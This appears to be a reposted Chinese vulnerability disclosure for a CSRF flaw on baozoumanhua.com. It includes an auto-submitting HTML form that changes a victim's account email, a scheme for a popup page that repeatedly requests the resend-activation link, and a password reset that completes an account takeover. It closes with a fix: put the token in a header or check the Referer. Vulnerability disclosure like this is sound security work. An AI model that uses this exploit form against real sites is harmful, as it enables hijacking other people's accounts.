把token帶到 http頭部 或者驗證一下referer


提交地址:http://baozoumanhua.com/users/8311358
提交數據:
-----------------------------195704664324
Content-Disposition: form-data; name="utf8"
a??
-----------------------------195704664324
Content-Disposition: form-data; name="_method"
put
-----------------------------195704664324
Content-Disposition: form-data; name="authenticity_token"
FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=
-----------------------------195704664324
Content-Disposition: form-data; name="user[email]"
aaaxasa1@qq.com
-----------------------------195704664324
Content-Disposition: form-data; name="commit"
?????1é????±

這是有token的

接着我寫一個表單
<form id="csrf" action="http://baozoumanhua.com/users/用戶id" method="post">
<input type=hidden name="utf8" value="a??">
<input type=hidden name="_method" value="put">
<input type=hidden name="authenticity_token" value="FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=">
<input type=hidden name="user[email]" value="你的郵箱">
<input type=hidden name="commit" value="?????1é????±">
<script>
document.getElementById('csrf').submit(2881064151);
</script>
</form>
再點擊發送激活郵件 抓包
GET:http://baozoumanhua.com/my/resend/用戶ID

此時我將表單的 email 換成我的有效郵箱

接着打開並且抓包

直接提示修改成功 無視token

可以看到 先get訪問了 a.htm 然后再post提交到 暴走漫畫

現在郵箱改掉了 只需要 訪問http://baozoumanhua.com/my/resend/8311358 就行
至於這個 做個彈窗到新窗口 彈到b.htm b.htm 用js寫個每一秒GET訪問一次
http://baozoumanhua.com/my/resend/2881064151

這時我被彈到了b.htm, 被彈到b.htm后會很多次get訪問http://baozoumanhua.com/my/resend/8311358

接着我就收到了激活郵件


現在被激活了 就可以去http://baozoumanhua.com/fetchpass 發送一個重置密碼郵件。
=。= 接着就可以改他的密碼了
修復方案:
可以像上次那個漏洞一樣 WooYun: 暴走漫畫越權發暴漫作品(拿王尼瑪帳號測試)利用打賞功能發財致富走上人生巔峰
把token帶到 http頭部 或者驗證一下referer。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM